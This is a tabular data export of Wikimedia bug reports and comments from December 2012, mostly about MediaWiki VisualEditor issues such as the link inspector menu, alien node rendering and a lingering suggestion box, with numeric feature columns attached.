(NEW) prevent update.php from updating database schemata of wgSharedTables - https://bugzilla.wikimedia.org/43116 enhancement; MediaWiki: Installer; (Gregor Hagedorn)

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Needs Triage,90.0,1355479740,1355479865.0,PHID-USER-w5a723w3wes6jd5wskgg,False,,False,PHID-TASK-ttm23g3exfsgbjvupqdx,task_description,resolved,True,c1,1,False,False,True,-29,,0.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,9.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,23.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,5.0,16.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,2.0,3.9951138316151202,0.5335588487972509,"The reporter is missing in the IRC announcements of new issues in #mediawiki.

Observed IRC output:

(NEW) VisualEditor: Support <hiero> extension - URL normal; VisualEditor: General; ()
(NEW) File will not change from original version - URL normal; MediaWiki: File management; ()
(NEW) prevent update.php from updating database schemata of wgSharedTables - URL enhancement; MediaWiki: Installer; ()

Expected IRC output: ""()"" replaced by ""(UserName)"":

(NEW) VisualEditor: Support <hiero> extension - URL normal; VisualEditor: General; (Raimond Spekking)
(NEW) File will not change from original version - URL normal; MediaWiki: File management; (Adam Cuerden)
(NEW) prevent update.php from updating database schemata of wgSharedTables - URL enhancement; MediaWiki: Installer; (Gregor Hagedorn)

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
183160,Reporter missing in IRC announcement of new issue,"

*** This bug has been marked as a duplicate of bug 42774 ***",,,1355479865,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ttm23g3exfsgbjvupqdx,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 42774 ***"
45078,VisualEditor never loads,"After enabling the VisualEditor editing interface, as usual in the Vector skin, the tab appears but then the page actually never loads for editing.

--------------------------
**Version**: unspecified
**Severity**: blocker
**OS**: Windows XP
**Platform**: PC",Needs Triage,90.0,1355414040,1355415643.0,PHID-USER-wel3wo6tppcxgnrthxls,False,,False,PHID-TASK-i3kcektvabsqugyb5tzv,task_description,declined,True,c1,1,False,False,True,-29,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,16.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.7096774193548385,0.5806451612903226,"After enabling the VisualEditor editing interface, as usual in the Vector skin, the tab appears but then the page actually never loads for editing.

--------------------------
**Version**: unspecified
**Severity**: blocker
**OS**: Windows XP
**Platform**: PC"
205134,VisualEditor never loads,Wth?! Why does it take so much time to load. But then it atlast worked.,,,1355415643,,PHID-USER-wel3wo6tppcxgnrthxls,False,,,PHID-TASK-i3kcektvabsqugyb5tzv,task_subcomment,,True,c1,1,False,,,-29,,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,0.0,11.0,5.0,5.0,5.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.8947368421052632,Wth?! Why does it take so much time to load. But then it atlast worked.
45064,VisualEditor: Skip the inspector menu on links,"The correctness of a Wikipedia article to a great extent depends on the correctness of the link targets. Presently, Visual Editors give no Visual feedback of the target.

Enhancement 1: provide a tooltip for the target when hovering with the mouse over a link. This will be helpful for mouse-based computing devices.

Enhancement 2: Open the link editing dialogue box directly when clicking the link. Presently when clicking on existing links, only a small chain-link icon appears, which has to be clicked again to open the dialogue which shows the link target and allows editing it.

I believe the link-chain-icon step can be skipped.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1355398980,1355435276.0,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,False,PHID-TASK-ux4izidb7xrrwhvej2xp,task_description,declined,True,c1,1,False,False,True,-29,,0.0,0.0,0.0,1.5,0.0,4.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,5.0,6.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,4.5,1.5,0.5,0.0,0.0,0.5,0.5,0.0,0.5,0.5,0.0,2.0,2.5,0.0,0.5,0.0,0.0,0.0,17.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,2.0,8.0,1.5,0.5,11.5,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,1.5,6.5,2.0,0.0,0.0,0.0,1.5,0.0,3.0,2.5,0.0,3.5,0.0,0.0,0.0,4.184646118721461,0.6481164383561644,"The correctness of a Wikipedia article to a great extent depends on the correctness of the link targets. Presently, Visual Editors give no Visual feedback of the target.

Enhancement 1: provide a tooltip for the target when hovering with the mouse over a link. This will be helpful for mouse-based computing devices.

Enhancement 2: Open the link editing dialogue box directly when clicking the link. Presently when clicking on existing links, only a small chain-link icon appears, which has to be clicked again to open the dialogue which shows the link target and allows editing it.

I believe the link-chain-icon step can be skipped.

--------------------------
**Version**: unspecified
**Severity**: normal"
204232,VisualEditor: Skip the inspector menu on links,"What you explain is pretty depressing. Just the necessity to learn all the icons for all the rare-to-be-used ""inspectors"" that will accumulate over time sounds like it may continue to prevent a majority of people from editing ... I fear it is dangerous if programmers try to design the user interface for normal people.

The method used by Google docs works really well for me: when clicking on an existing link, it directly shows the link target and offers ""change"" and ""remove"". Nice, simple, accessible, intuitive. And all the other non-context sensitive options for normal text stay in the menu and button and can be accessed from there. No toolbar full of accessor/inspector items that moves with the cursor and prevents reading.",,,1355445344,,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,,PHID-TASK-ux4izidb7xrrwhvej2xp,task_subcomment,,True,c1,1,False,,,-29,,1.5,0.0,0.0,0.5,0.0,9.5,1.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,4.0,10.5,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,6.0,1.5,1.5,0.5,0.5,0.0,0.0,0.5,0.5,0.5,0.0,0.0,1.5,0.0,0.5,0.0,0.5,0.0,13.0,0.5,0.0,0.5,1.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,6.5,2.0,4.5,1.0,4.0,8.5,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.5,10.5,1.0,0.0,3.5,0.0,3.5,0.0,2.5,1.0,0.5,2.0,0.0,0.0,0.0,4.093333333333334,0.7733333333333333,"What you explain is pretty depressing. Just the necessity to learn all the icons for all the rare-to-be-used ""inspectors"" that will accumulate over time sounds like it may continue to prevent a majority of people from editing ... I fear it is dangerous if programmers try to design the user interface for normal people.

The method used by Google docs works really well for me: when clicking on an existing link, it directly shows the link target and offers ""change"" and ""remove"". Nice, simple, accessible, intuitive. And all the other non-context sensitive options for normal text stay in the menu and button and can be accessed from there. No toolbar full of accessor/inspector items that moves with the cursor and prevents reading."
204226,VisualEditor: Skip the inspector menu on links,"(In reply to comment #2)
> I remain unconvinced. What other ""inspectors"" do you want to call on a link?

It's not ""on a link"", it's ""on some text"" - yes, this includes links if one is set, but there will be quite a few annotation inspectors; in complex cases, we may need to come up with a new interface if it ever got about half a dozen or so. What you're seeing is an artefact that we haven't written the other annotation inspectors yet - not that they aren't applicable. For example, we'll be creating (or helping others create) annotation inspectors for setting the selection's language (as used on the English Wikipedia through a template, but invaluable to our multi-lingual wikis), modifying text colour and other funky formatting, marking up the content as an address (as used through an extension in Wikivoyage) or as a status update (used on MediaWiki.org), and no-doubt several others that we haven't even thought of yet.

Note that this menu (which is purely about annotation inspectors) doesn't trigger on text that isn't already a link, as we don't show it when there are no appropriate annotation inspectors for the context.

There will also be a bunch of object inspectors for ""complex"" things like references, templates, images and other media, galleries, Wikidata transclusions and queries, music annotations, maths equations, EasyTimeline uses, code blocks with syntax highlighting, poems, and dozens of other things that are block-level parser hooks of some kind, as tailored to the wiki and within that to the context. And, of course, this list will expand over time as the number of things that can be created and edited through the VisualEditor approaches completeness for Wikimedia's cluster install, and for third parties using MediaWiki in their own situations.

Finally, there will be a page-level inspector for page-level meta-data - like categories and language links, the ""magic words"" that perform title over-rides, redirects, suppression of the table of contents, etc.

[Snip]

> I fear it will be an even worse user experience if users have to choose
> between various ""inspectors"" for a link. And I fear the choices will be
> hard to make until they have read a couple of help pages. This is not what
> I hope the VE will achieve...

Certainly, part of our job is to make a complex task as simple as possible - but, to steal the phrase, no simpler. I fear that we haven't explained the concept of annotation inspectors in the design language well enough for the above to be clear, for which I apologise.

> I would prefer a bit of object-oriented context smartness. Perhaps, to
> satisfy the generic design (I can imagine some alternative choices for some
> other objects...): why not skip the ""choose an inspector"" step if there is
> only one choice for a given object in a given context? This would easily
> support cases where an object may truly need a choice of inspectors, but
> avoid the clumsiness of the current approach.

This would mean that, as you move the cursor through the text, every time you hit a link, the link inspector would load, filling the screen (and triggering a wasteful and unwanted API request to get the suggested list of pages for the link text). Clearly for you, this would be appropriate, but I don't agree that it's an interface paradigm that would work for most users.

> (Note that the tooltip enhancement does not help on modern touch devices, so
> making the interaction with links to check link correctness painless remains
> an issue.)

Sorry, but this is not true. In an iPad or Android tablet or mobile 'phone, press and hold on a link to be informed of the link's title attribute; voilà, the link destination is revealed. Yes, this is messy, but our job is to be as seemless as possible in integrating with users' operating systems' existing workflows, not inventing our own.",,,1355443086,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ux4izidb7xrrwhvej2xp,task_subcomment,,True,c1,1,True,,,-29,,0.7142857142857143,0.0,0.0,0.5714285714285714,1.7142857142857142,5.428571428571429,1.7142857142857142,0.0,0.0,0.2857142857142857,2.7142857142857144,1.8571428571428572,0.0,0.0,0.5714285714285714,1.8571428571428572,0.5714285714285714,4.142857142857143,11.571428571428571,0.0,1.1428571428571428,0.0,0.0,0.14285714285714285,0.2857142857142857,0.5714285714285714,0.14285714285714285,0.14285714285714285,0.2857142857142857,1.2857142857142858,0.14285714285714285,4.0,1.2857142857142858,0.7142857142857143,1.0,0.5714285714285714,0.0,0.14285714285714285,0.42857142857142855,0.5714285714285714,0.2857142857142857,0.2857142857142857,0.0,2.142857142857143,0.0,0.42857142857142855,0.2857142857142857,0.5714285714285714,0.42857142857142855,17.571428571428573,1.0,0.5714285714285714,0.2857142857142857,0.14285714285714285,0.0,0.0,0.0,0.42857142857142855,0.7142857142857143,0.14285714285714285,0.0,1.0,0.0,0.2857142857142857,0.2857142857142857,0.5714285714285714,0.0,5.857142857142857,3.142857142857143,6.285714285714286,1.1428571428571428,3.4285714285714284,8.428571428571429,0.0,0.0,0.0,0.14285714285714285,3.5714285714285716,0.2857142857142857,0.2857142857142857,0.0,3.4285714285714284,11.571428571428571,3.142857142857143,0.0,1.5714285714285714,0.0,3.4285714285714284,0.0,1.5714285714285714,2.5714285714285716,0.0,1.7142857142857142,0.14285714285714285,0.14285714285714285,0.5714285714285714,3.912609363521004,0.6944500100180324,"(In reply to comment #2)
QUOTE

It's not ""on a link"", it's ""on some text"" - yes, this includes links if one is set, but there will be quite a few annotation inspectors; in complex cases, we may need to come up with a new interface if it ever got about half a dozen or so. What you're seeing is an artefact that we haven't written the other annotation inspectors yet - not that they aren't applicable. For example, we'll be creating (or helping others create) annotation inspectors for setting the selection's language (as used on the English Wikipedia through a template, but invaluable to our multi-lingual wikis), modifying text colour and other funky formatting, marking up the content as an address (as used through an extension in Wikivoyage) or as a status update (used on MediaWiki.org), and no-doubt several others that we haven't even thought of yet.

Note that this menu (which is purely about annotation inspectors) doesn't trigger on text that isn't already a link, as we don't show it when there are no appropriate annotation inspectors for the context.

There will also be a bunch of object inspectors for ""complex"" things like references, templates, images and other media, galleries, Wikidata transclusions and queries, music annotations, maths equations, EasyTimeline uses, code blocks with syntax highlighting, poems, and dozens of other things that are block-level parser hooks of some kind, as tailored to the wiki and within that to the context. And, of course, this list will expand over time as the number of things that can be created and edited through the VisualEditor approaches completeness for Wikimedia's cluster install, and for third parties using MediaWiki in their own situations.

Finally, there will be a page-level inspector for page-level meta-data - like categories and language links, the ""magic words"" that perform title over-rides, redirects, suppression of the table of contents, etc.

[Snip]

QUOTE
QUOTE
QUOTE
QUOTE

Certainly, part of our job is to make a complex task as simple as possible - but, to steal the phrase, no simpler. I fear that we haven't explained the concept of annotation inspectors in the design language well enough for the above to be clear, for which I apologise.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This would mean that, as you move the cursor through the text, every time you hit a link, the link inspector would load, filling the screen (and triggering a wasteful and unwanted API request to get the suggested list of pages for the link text). Clearly for you, this would be appropriate, but I don't agree that it's an interface paradigm that would work for most users.

QUOTE
QUOTE
QUOTE

Sorry, but this is not true. In an iPad or Android tablet or mobile 'phone, press and hold on a link to be informed of the link's title attribute; voilà, the link destination is revealed. Yes, this is messy, but our job is to be as seemless as possible in integrating with users' operating systems' existing workflows, not inventing our own."
204220,VisualEditor: Skip the inspector menu on links,"I remain unconvinced. What other ""inspectors"" do you want to call on a link? (An ""Open link in new tab"" inspector? If yes I propose to integrate such special case functions in the link inspector itself to keep things simple and avoid decisions steps up front). 

I fear it will be an even worse user experience if users have to choose between various ""inspectors"" for a link. And I fear the choices will be hard to make until they have read a couple of help pages. This is not what I hope the VE will achieve...

I would prefer a bit of object-oriented context smartness. Perhaps, to satisfy the generic design (I can imagine some alternative choices for some other objects...): why not skip the ""choose an inspector"" step if there is only one choice for a given object in a given context? This would easily support cases where an object may truly need a choice of inspectors, but avoid the clumsiness of the current approach.

(Note that the tooltip enhancement does not help on modern touch devices, so making the interaction with links to check link correctness painless remains an issue.)",,,1355436686,,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,,PHID-TASK-ux4izidb7xrrwhvej2xp,task_subcomment,,True,c1,1,False,,,-29,,0.6666666666666666,0.0,0.0,0.0,1.0,5.333333333333333,0.6666666666666666,0.0,0.0,1.0,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,2.3333333333333335,0.0,5.0,9.666666666666666,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,1.6666666666666667,0.0,4.333333333333333,2.3333333333333335,0.6666666666666666,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,2.6666666666666665,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,16.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,8.0,1.3333333333333333,6.0,2.3333333333333335,1.0,9.666666666666666,0.0,0.0,0.0,0.0,7.666666666666667,0.3333333333333333,0.3333333333333333,0.0,3.6666666666666665,9.666666666666666,0.3333333333333333,1.0,2.6666666666666665,0.0,3.6666666666666665,0.0,1.3333333333333333,4.666666666666667,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,3.995847953216374,0.7876023391812866,"I remain unconvinced. What other ""inspectors"" do you want to call on a link? (An ""Open link in new tab"" inspector? If yes I propose to integrate such special case functions in the link inspector itself to keep things simple and avoid decisions steps up front). 

I fear it will be an even worse user experience if users have to choose between various ""inspectors"" for a link. And I fear the choices will be hard to make until they have read a couple of help pages. This is not what I hope the VE will achieve...

I would prefer a bit of object-oriented context smartness. Perhaps, to satisfy the generic design (I can imagine some alternative choices for some other objects...): why not skip the ""choose an inspector"" step if there is only one choice for a given object in a given context? This would easily support cases where an object may truly need a choice of inspectors, but avoid the clumsiness of the current approach.

(Note that the tooltip enhancement does not help on modern touch devices, so making the interaction with links to check link correctness painless remains an issue.)"
204212,VisualEditor: Skip the inspector menu on links,"This mis-understands the menu - the ""chain icon"" launches the link inspector, but there are potentially quite a few icons in the user's context at this point. We only have the link inspector created at this stage, but we will have more before the VisualEditor is ""finished"".

For the first enhancement, this was fixed in bug 37904 but that has regressed - have re-opened that one.",,,1355435276,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ux4izidb7xrrwhvej2xp,task_subcomment,,True,c1,1,True,,,-29,,1.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,1.0,2.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,5.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,5.0,0.0,4.0,18.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,2.0,9.0,1.0,0.0,5.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.8536585365853657,0.6707317073170732,"This mis-understands the menu - the ""chain icon"" launches the link inspector, but there are potentially quite a few icons in the user's context at this point. We only have the link inspector created at this stage, but we will have more before the VisualEditor is ""finished"".

For the first enhancement, this was fixed in bug 37904 but that has regressed - have re-opened that one."
45056,VisualEditor: Things are sometimes alienated as block when they should be inline,"""phantoms"" text is wrapped into a ""div class=""ve-ce-phantoms"" "" which adds a linebreak because div is a  block element, see https://en.wikipedia.org/wiki/User:Raymond/nowiki

Better to use a span I think.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1355386260,1357678696.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-ly2xm7tz73tvksvhmtyz,task_description,resolved,True,c1,1,False,False,True,-29,,0.0,0.0,0.0,2.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,9.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,5.0,5.0,0.0,9.0,0.0,2.0,0.0,2.0,7.0,0.0,0.0,2.0,0.0,0.0,3.5172413793103448,0.6379310344827587,"""phantoms"" text is wrapped into a ""div class=""ve-ce-phantoms"" "" which adds a linebreak because div is a  block element, see URL

Better to use a span I think.

--------------------------
**Version**: unspecified
**Severity**: normal"
203706,VisualEditor: Things are sometimes alienated as block when they should be inline,Merged; code will be deployed as part of the 2013-01-16 release cycle.,,,1357678696,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ly2xm7tz73tvksvhmtyz,task_subcomment,,True,c1,1,True,,,-25,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2777777777777777,0.9444444444444444,Merged; code will be deployed as part of the 2013-01-16 release cycle.
203700,VisualEditor: Things are sometimes alienated as block when they should be inline,https://gerrit.wikimedia.org/r/39846,,,1356175107,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-ly2xm7tz73tvksvhmtyz,task_subcomment,,True,c1,1,False,,,-28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,GERRIT_URL
203693,VisualEditor: Things are sometimes alienated as block when they should be inline,"Fixing summary. Editable nodes are called ""aliens"". The ""phantom"" is the green hatched-out overlay that appears when mousing over an alien. It's an absolutely positioned <div> that exists outside of the main editor DOM. Because of the mouseover effect, you can't actually inspect the aliens themselves easily, but when you do, you'll find that the actual uneditable content is in <div class=""ve-ce-alienBlock""> or <span class=""ve-ce-alienInline""> as appropriate.

The issue here is that some things (nowikis in Raymond's example, and I've seen some references do it in the wild) are alienated as alienBlock nodes by ve.dm.Converter when they should really be alienInline nodes.",,,1355389006,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-ly2xm7tz73tvksvhmtyz,task_subcomment,,True,c1,1,False,,,-29,,1.5,0.0,0.5,1.0,0.5,3.5,2.0,0.5,0.0,0.0,3.5,1.5,0.0,0.0,0.0,0.5,0.0,5.5,8.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,7.0,1.0,1.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,14.0,0.5,0.5,1.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,1.0,0.0,0.5,0.5,0.5,0.0,5.5,4.0,6.0,3.5,2.0,7.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,4.5,8.0,7.0,0.0,3.5,0.0,4.5,0.0,2.5,1.0,0.5,1.0,0.0,0.0,4.0,4.006944444444445,0.7361111111111112,"Fixing summary. Editable nodes are called ""aliens"". The ""phantom"" is the green hatched-out overlay that appears when mousing over an alien. It's an absolutely positioned <div> that exists outside of the main editor DOM. Because of the mouseover effect, you can't actually inspect the aliens themselves easily, but when you do, you'll find that the actual uneditable content is in <div class=""ve-ce-alienBlock""> or <span class=""ve-ce-alienInline""> as appropriate.

The issue here is that some things (nowikis in Raymond's example, and I've seen some references do it in the wild) are alienated as alienBlock nodes by ve.dm.Converter when they should really be alienInline nodes."
45055,VisualEditor: Escape from LinkAnnotation editor closes annotation editor but leaves suggestion box floating,"Screenshot of state after escape

Steps to reproduce problem:
1. Open link editor for a link on a page
2. Enter a new page type
3. Hit Escape

Expected:
Annotation editor closes.


Actual:
ve-ui-inspector hides, ve-ui-context-menu re-appears. But ve-ui-context-frame-overlay (and thus ve-ui-suggest-select) stay visible and interactive (taking hover and clicks). Though interaction is ignored at this point (clicking a different suggestion does not affect the actual link anymore).

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10181}",Needs Triage,90.0,1355378640,1355425528.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-kvsbzknbe6m5oydwjk6y,task_description,resolved,True,c1,1,True,False,True,-29,,0.0,0.0,0.0,0.5,0.5,9.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.5,0.0,0.5,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,2.5,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,0.5,8.5,0.5,2.5,3.5,0.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,0.0,4.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.5,0.0,0.0,0.5,3.5192521288411696,0.6328211773417253,"Screenshot of state after escape

Steps to reproduce problem:
1. Open link editor for a link on a page
2. Enter a new page type
3. Hit Escape

Expected:
Annotation editor closes.


Actual:
ve-ui-inspector hides, ve-ui-context-menu re-appears. But ve-ui-context-frame-overlay (and thus ve-ui-suggest-select) stay visible and interactive (taking hover and clicks). Though interaction is ignored at this point (clicking a different suggestion does not affect the actual link anymore).

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10181}"
203667,VisualEditor: Escape from LinkAnnotation editor closes annotation editor but leaves suggestion box floating,"

%%%*** This bug has been marked as a duplicate of bug 43051 ***%%%",,,1355425528,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-kvsbzknbe6m5oydwjk6y,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.5416666666666666,"

%%%*** This bug has been marked as a duplicate of bug 43051 ***%%%"
45051,VisualEditor: Suggestion tool fails to close when escaping out of context menu.,"Pressing escape while editing a link with the suggestion tool open causes the context menu to close without ever hiding the suggestion tool in the dom.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1355358660,1355360935.0,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,False,PHID-TASK-ton3dd6uf2z3sfe3n2k3,task_description,resolved,True,c1,1,False,False,True,-29,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,7.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,4.4,0.6888888888888889,"Pressing escape while editing a link with the suggestion tool open causes the context menu to close without ever hiding the suggestion tool in the dom.

--------------------------
